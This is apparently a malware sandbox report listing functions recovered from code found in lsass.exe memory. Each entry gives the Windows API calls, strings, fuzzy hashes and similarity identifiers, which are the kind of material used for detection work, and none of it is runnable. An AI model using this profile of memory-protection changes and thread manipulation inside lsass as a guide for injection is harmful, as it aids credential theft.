Instruction Fuzzy Hash: 26D19E7260CB988AEB609F65E4403ED77B0FB45788F081106EE8D57B96DB74E4DAC700

Function 0000017D2DD5F904 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 0000017D2DD5FA80
GetProcAddress.KERNEL32 ref: 0000017D2DD5FA8C

Strings

api-ms-, xrefs: 0000017D2DD5F9CA
ext-ms-, xrefs: 0000017D2DD5F9DD

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 78242e2ad1e66ce797da3b321992a6ad1daff7ac6a80aafc19c0109c88dcfca8
Instruction ID: 5472dc4859f2ec678e8526d892e9dc35e12882832a061a9c28273b9cf07cc402
Opcode Fuzzy Hash: 78242e2ad1e66ce797da3b321992a6ad1daff7ac6a80aafc19c0109c88dcfca8
Instruction Fuzzy Hash: B041B032319F4851FA25CB66B8047D522B5FF89BE0F4D52259D0D9B786EB79C4C68340

Function 0000017D2DD5104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000017D2DD510B1
RegEnumValueW.ADVAPI32 ref: 0000017D2DD51117
GetProcessHeap.KERNEL32 ref: 0000017D2DD5115A
HeapAlloc.KERNEL32 ref: 0000017D2DD51168
GetProcessHeap.KERNEL32 ref: 0000017D2DD51185
HeapFree.KERNEL32 ref: 0000017D2DD51193

Strings

d, xrefs: 0000017D2DD510D6

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 7ceb33411e866d5e6bad0885634960f762de516c8c48caabf9af1da6179ea09c
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 35415F36218F84C6E760CF61F44479A77B1F789B98F088129DA8947759DF7CC48ACB80

Function 0000017D2DD5D5D8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,0000017D2DD5CD4E,?,?,?,?,?,?,?,?,0000017D2DD5D50D,?,?,00000001), ref: 0000017D2DD5D5F7
FlsSetValue.KERNEL32(?,?,?,0000017D2DD5CD4E,?,?,?,?,?,?,?,?,0000017D2DD5D50D,?,?,00000001), ref: 0000017D2DD5D616
FlsSetValue.KERNEL32(?,?,?,0000017D2DD5CD4E,?,?,?,?,?,?,?,?,0000017D2DD5D50D,?,?,00000001), ref: 0000017D2DD5D63E
FlsSetValue.KERNEL32(?,?,?,0000017D2DD5CD4E,?,?,?,?,?,?,?,?,0000017D2DD5D50D,?,?,00000001), ref: 0000017D2DD5D64F
FlsSetValue.KERNEL32(?,?,?,0000017D2DD5CD4E,?,?,?,?,?,?,?,?,0000017D2DD5D50D,?,?,00000001), ref: 0000017D2DD5D660

Strings

Y%, xrefs: 0000017D2DD5D616
1%, xrefs: 0000017D2DD5D63E

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: c43ba9056afb091907f0ee91a963f4e74318913cfa62c74dbd7af27afc39a0a2
Instruction ID: 2491d24410cb46268f94260e2639c8758f3e2d5a9eecc6da8c164988f1d14004
Opcode Fuzzy Hash: c43ba9056afb091907f0ee91a963f4e74318913cfa62c74dbd7af27afc39a0a2
Instruction Fuzzy Hash: BA114C3060DB4C81FE58A73279613E922B2AF447E0F1C4324E97D4A6DBDEA8D4C38311

Function 0000017D2DD26920 Relevance: 12.2, APIs: 8, Instructions: 228COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000017D2DD26948
__scrt_acquire_startup_lock.LIBCMT ref: 0000017D2DD2699A
_RTC_Initialize.LIBCMT ref: 0000017D2DD269C8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000017D2DD269EE
__scrt_release_startup_lock.LIBCMT ref: 0000017D2DD26A19

Memory Dump Source

Source File: 00000009.00000002.2672695610.0000017D2DD20000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd20000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction ID: 14a86301810562fa968fb798af1d75a374cb01e83c23393911485301656b1b25
Opcode Fuzzy Hash: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction Fuzzy Hash: 2B81A37960CF8D86FA64AB65B8493D966B0AF85780F5C8525AE0C4779FDB38CCC78700

Function 0000017D2DD57520 Relevance: 12.2, APIs: 8, Instructions: 228COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000017D2DD57548
__scrt_acquire_startup_lock.LIBCMT ref: 0000017D2DD5759A
_RTC_Initialize.LIBCMT ref: 0000017D2DD575C8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000017D2DD575EE
__scrt_release_startup_lock.LIBCMT ref: 0000017D2DD57619

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction ID: ca403a1a5602c85c8bb9038eef2cd80d17c8cae6d6c05ab0e2c7db901c7f5f0a
Opcode Fuzzy Hash: 631ceae67eae31c045c263838f49675c0354f8d7e0c0c05f5239024a302f0f12
Instruction Fuzzy Hash: C981BF31A1CF4DA6FB70AB65B4413E926B0AF85B80F6C4055EA0D47797EBB8C9C78740

Function 0000017D2DD5A148 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 0000017D2DD5A1CD
GetLastError.KERNEL32 ref: 0000017D2DD5A1DB
LoadLibraryExW.KERNEL32 ref: 0000017D2DD5A205
FreeLibrary.KERNEL32 ref: 0000017D2DD5A273
GetProcAddress.KERNEL32 ref: 0000017D2DD5A27F

Strings

api-ms-, xrefs: 0000017D2DD5A1ED

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 1bda5a7f51937e5fba9747c90859e34dfa5f89533a2a1b8d1dea998784ab284d
Instruction ID: 687ad33320da4c6a2d702a3c851c8e0a789a4fc93b2b137df9a9527406f721b1
Opcode Fuzzy Hash: 1bda5a7f51937e5fba9747c90859e34dfa5f89533a2a1b8d1dea998784ab284d
Instruction Fuzzy Hash: 6931E13134EF58A1EE519B42B801BD523B4BF49BA0F5D26259D1D0B392EF79D4CA8340

Function 0000017D2DD64324 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 0000017D2DD64355
GetLastError.KERNEL32 ref: 0000017D2DD64361
CloseHandle.KERNEL32 ref: 0000017D2DD64379
CreateFileW.KERNEL32 ref: 0000017D2DD643A4
WriteConsoleW.KERNEL32 ref: 0000017D2DD643C3

Strings

CONOUT$, xrefs: 0000017D2DD64385

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 4c50c600c840af11fb29c95c0db3c2be4712be37c9ecc349f2f252041d9feab2
Instruction ID: b286c26bad5599ec3e4dce0df1cbee38a854a1552613a0a24c44eaeb964dc17e
Opcode Fuzzy Hash: 4c50c600c840af11fb29c95c0db3c2be4712be37c9ecc349f2f252041d9feab2
Instruction Fuzzy Hash: 63116031718F8886E7508B56F94439966B0FB88FE4F084224EE5E8779ACF3CC48687C0

Function 0000017D2DD537A4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000017D2DD537B2
GetCurrentProcess.KERNEL32 ref: 0000017D2DD537E0
VirtualProtectEx.KERNEL32 ref: 0000017D2DD53802
GetCurrentProcess.KERNEL32 ref: 0000017D2DD5381D
VirtualProtectEx.KERNEL32 ref: 0000017D2DD5383E

Strings

wr, xrefs: 0000017D2DD53813

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d02d62af4a13f9151a1d64f675f2e823d7ed1e1e396348dfe74f8be14938124b
Instruction ID: a133de99f9e09dc66d4cec223420a026b9debbf19d123a2964e23df4e8ddc47c
Opcode Fuzzy Hash: d02d62af4a13f9151a1d64f675f2e823d7ed1e1e396348dfe74f8be14938124b
Instruction Fuzzy Hash: 34115E3A708B4583EF249B52F4042A966B0FB89B95F080069DE9D07B56EF3DC586C744

Function 0000017D2DD55B40 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000017D2DD55B7B
GetThreadContext.KERNEL32 ref: 0000017D2DD55CE5

Part of subcall function 0000017D2DD55970: GetCurrentThreadId.KERNEL32 ref: 0000017D2DD55974

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 2460c92bfe80c12f43b9e41940236e3d31cb2b1f5e55ffad558bfd096889bb43
Instruction ID: 5852f0580ab69e97f1a52fd2e322d2a7f92818f85b2362e8f5bcff1b012e8ad0
Opcode Fuzzy Hash: 2460c92bfe80c12f43b9e41940236e3d31cb2b1f5e55ffad558bfd096889bb43
Instruction Fuzzy Hash: 61D18B76209F8881EA71DF16F49439A77B0F788B84F145216EA8D4776ADF78C592CB00

Function 0000017D2DD514A4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000017D2DD514CA
HeapFree.KERNEL32 ref: 0000017D2DD514D9
GetProcessHeap.KERNEL32 ref: 0000017D2DD514E6
HeapFree.KERNEL32 ref: 0000017D2DD514F5
GetProcessHeap.KERNEL32 ref: 0000017D2DD51505

Strings

C:\Windows\system32\lsass.exe, xrefs: 0000017D2DD661A9, 0000017D2DD661B1

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Heap$Process$Free
String ID: C:\Windows\system32\lsass.exe
API String ID: 3168794593-3553486595
Opcode ID: 8f6c8013f26ca493c8b85487be1e8632cd5ea831c810228ac57a4b2b7c934696
Instruction ID: 6100b6c19792221e5ab68393cc76ae802cdc86c35694ed7f9ff5f1585bdaadd1
Opcode Fuzzy Hash: 8f6c8013f26ca493c8b85487be1e8632cd5ea831c810228ac57a4b2b7c934696
Instruction Fuzzy Hash: E9316FBB54DFC88AE3518F66B8552893FB0FB89F40F0D8096DB4843247EA299486C7C0

Function 0000017D2DD5D510 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000017D2DD5D51F
FlsSetValue.KERNEL32(?,?,?,0000017D2DD5DC25,?,?,?,?,0000017D2DD5DCE8), ref: 0000017D2DD5D555
FlsSetValue.KERNEL32(?,?,?,0000017D2DD5DC25,?,?,?,?,0000017D2DD5DCE8), ref: 0000017D2DD5D582
FlsSetValue.KERNEL32(?,?,?,0000017D2DD5DC25,?,?,?,?,0000017D2DD5DCE8), ref: 0000017D2DD5D593
FlsSetValue.KERNEL32(?,?,?,0000017D2DD5DC25,?,?,?,?,0000017D2DD5DCE8), ref: 0000017D2DD5D5A4
SetLastError.KERNEL32 ref: 0000017D2DD5D5BF

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 5a5575a5d1708c946e79aad68248bc2e3b8df018e302dfb520b8908bc7679156
Instruction ID: 89a0addc245c739b2e1241a26f07f7771b3cddb85ef77f011d7e29de442e1be8
Opcode Fuzzy Hash: 5a5575a5d1708c946e79aad68248bc2e3b8df018e302dfb520b8908bc7679156
Instruction Fuzzy Hash: 3C114A3020DF4882FE54A73175513A92272AF497A4F5C0724E97F4A7DBDEE8D4838260

Function 0000017D2DD519A4 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 0000017D2DD519CA
K32GetModuleFileNameExW.KERNEL32 ref: 0000017D2DD519E8
PathFindFileNameW.SHLWAPI ref: 0000017D2DD519F7
lstrlenW.KERNEL32 ref: 0000017D2DD51A03
StrCpyW.SHLWAPI ref: 0000017D2DD51A16
CloseHandle.KERNEL32 ref: 0000017D2DD51A24

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 8727d58878f2a869f14b8fd26c384ee344685f44cd71b3c6aa4d19fd6db2488a
Instruction ID: 103a84cc079cad328c3536a9994b729114022c249ba88867120555d5bc1d5874
Opcode Fuzzy Hash: 8727d58878f2a869f14b8fd26c384ee344685f44cd71b3c6aa4d19fd6db2488a
Instruction Fuzzy Hash: 7D013535308B8886EA20DB12B85839963B1FB88BC0F884074DE5D43756DE3CC98A8780

Function 0000017D2DD536DC Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000017D2DD536F8
GetCurrentProcess.KERNEL32 ref: 0000017D2DD53706
VirtualProtectEx.KERNEL32 ref: 0000017D2DD53728
GetCurrentProcess.KERNEL32 ref: 0000017D2DD53746
VirtualProtectEx.KERNEL32 ref: 0000017D2DD53767
TerminateThread.KERNEL32 ref: 0000017D2DD53776

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 6a4903f23145d629ccf7c0814750504573150cedf00e013b6ac3f495348c8662
Instruction ID: 45d3aafdb8d7983e479a19dca995c96b276e104aef41bcde3e98c265d121dafb
Opcode Fuzzy Hash: 6a4903f23145d629ccf7c0814750504573150cedf00e013b6ac3f495348c8662
Instruction Fuzzy Hash: 5F012D79619F8982FB249B21F81839976B0FF49B86F084164C94D07366EF3DC5968780

Function 0000017D2DD5C208 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 0000017D2DD5C22D
GetProcAddress.KERNEL32 ref: 0000017D2DD5C243
FreeLibrary.KERNEL32 ref: 0000017D2DD5C26A

Strings

CorExitProcess, xrefs: 0000017D2DD5C23C
mscoree.dll, xrefs: 0000017D2DD5C224

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0e03656a98ecf47c8c70bd094229c94189d23a90474f93e2876379b06086d007
Instruction ID: 67b5377c4882bdd2fb480e4c15f4ea076b6d168c4ac18011086163db52505644
Opcode Fuzzy Hash: 0e03656a98ecf47c8c70bd094229c94189d23a90474f93e2876379b06086d007
Instruction Fuzzy Hash: 4AF04F75219F4C91EB108B68F4447996370AF89B61F5C0619D66E455E6CF2CC0CA83C0

Function 0000017D2DD53058 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 0000017D2DD5307A
StrCpyW.SHLWAPI ref: 0000017D2DD5308A
StrCatW.SHLWAPI ref: 0000017D2DD53096
PathCombineW.SHLWAPI ref: 0000017D2DD530A4

Strings

\\.\pipe\, xrefs: 0000017D2DD53070

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 230e05f875843765b10c94681cacd2039b66fa3fae77185737d73b0c30566c8e
Instruction ID: a71ca98afc5d1a3faeee4372e4a7ee3782857345fd784a6b70abb11282a46d7d
Opcode Fuzzy Hash: 230e05f875843765b10c94681cacd2039b66fa3fae77185737d73b0c30566c8e
Instruction Fuzzy Hash: D4F0F878618FD892EA148F17B914199A675AF48FD0F4C9160EE8E47B6ADE28C4C68780

Function 0000017D2DD550E0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000017D2DD55166

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d320431a3885b97cf1102f80532d88567ca490bad17f23be6033182695dcdf12
Instruction ID: e6d87f0c609476c9c3fe7a6a5eb031aa0c38f023ad504c3198547cd31559fcd5
Opcode Fuzzy Hash: d320431a3885b97cf1102f80532d88567ca490bad17f23be6033182695dcdf12
Instruction Fuzzy Hash: D802D53221DB8886EB61CF59F49079AB7B0F785790F144115EA8E87BA9DFBCD485CB00

Function 0000017D2DD55720 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000017D2DD55736

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 58d07a547137d2bff2769a738302b31e3611db479abe89d2490128d207b61db9
Instruction ID: b95a49320f5f936f0cbfd1ad766bc8001534a62ea65b0c2045d606bdb59b6b9b
Opcode Fuzzy Hash: 58d07a547137d2bff2769a738302b31e3611db479abe89d2490128d207b61db9
Instruction Fuzzy Hash: 2061C63651CB88C6E7618F15F45439AB7B0F788784F581255EA8D47BAADBBCC582CF00

Function 0000017D2DD33A74 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000017D2DD33A9C
_set_statfp.LIBCMT ref: 0000017D2DD33AB7
_set_statfp.LIBCMT ref: 0000017D2DD33AD3
_set_statfp.LIBCMT ref: 0000017D2DD33B0F

Memory Dump Source

Source File: 00000009.00000002.2672695610.0000017D2DD20000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd20000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: c84d9aacd1d8addd50e5f2eacee9ba06884b6ff10871cfc468d780551510e725
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 40117737A5CF9903F6F42168FA563E511706FD9374F0D0624A5AE076EBDA68C9C34A00

Function 0000017D2DD64674 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000017D2DD6469C
_set_statfp.LIBCMT ref: 0000017D2DD646B7
_set_statfp.LIBCMT ref: 0000017D2DD646D3
_set_statfp.LIBCMT ref: 0000017D2DD6470F

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: f6ebd2a08155cb11d01359cfb63a2bca7832278ab15c1ba96f775ce0276b74ad
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 8C118236A1CF5902F69421A8F5463EA15716F59378F0C0624EBBF066EFCA28A8C346C0

Function 0000017D2DD58C20 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000017D2DD58C3F
SetLastError.KERNEL32 ref: 0000017D2DD58CC6

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 262bc654722f382832ee849732648380985e09d24724c89ec07dab82b46ccafe
Instruction ID: fb1fb065e3761e1735645901ad562fda475c9c7d98b9c26518c4587266ea644e
Opcode Fuzzy Hash: 262bc654722f382832ee849732648380985e09d24724c89ec07dab82b46ccafe
Instruction Fuzzy Hash: 6611213065EF9841FA649725BC407E922B16F847E0F1C5B65992E077DBDE68D8C38640

Function 0000017D2DD58580 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000017D2DD585AB
_IsNonwritableInCurrentImage.LIBCMT ref: 0000017D2DD58642
RtlUnwindEx.NTDLL ref: 0000017D2DD5869C

Strings

csm, xrefs: 0000017D2DD58629

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction ID: 9703ed410a9340cc908e4931cf78f7e29496ba7c3cf6789e4f5c51a701e75255
Opcode Fuzzy Hash: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction Fuzzy Hash: DC51D132359B098ADB54CF15F444BAC73B2FB44B88F588124EA5E4378ADBB9D8C2C700

Function 0000017D2DD5AFC0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 0000017D2DD5B01F
_CallSETranslator.LIBVCRUNTIME ref: 0000017D2DD5B06B

Strings

RCC, xrefs: 0000017D2DD5B03B
MOC, xrefs: 0000017D2DD5B033

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction ID: 37d8c610e4af2e6b97041494e605923acf12223c33339c91c8d6a38ae5c6032d
Opcode Fuzzy Hash: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction Fuzzy Hash: 41615C72508BC885E7609F15F4407DAB7B0FB85B98F084215EB9D07B9ADBB8D1D5CB00

Function 0000017D2DD2A770 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000017D2DD2A798
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 0000017D2DD2A880

Strings

csm, xrefs: 0000017D2DD2A8D2
csm, xrefs: 0000017D2DD2A7BA

Memory Dump Source

Source File: 00000009.00000002.2672695610.0000017D2DD20000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd20000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
Instruction ID: 3a2f33974cbffdbc27016b30a0180f43e39ef5857859974130326578c4fd82b9
Opcode Fuzzy Hash: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
Instruction Fuzzy Hash: E351713210CB888AFB648F16A548398B7B0FB54B94F5C5115DA8D47BDBCB38D4D2CB45

Function 0000017D2DD5B370 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000017D2DD5B398
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 0000017D2DD5B480

Strings

csm, xrefs: 0000017D2DD5B3BA
csm, xrefs: 0000017D2DD5B4D2

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
Instruction ID: 7c6e6b287cefa42d2b4f20f59e5748d3ba937cd9ba642ee52733f0753b695d25
Opcode Fuzzy Hash: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
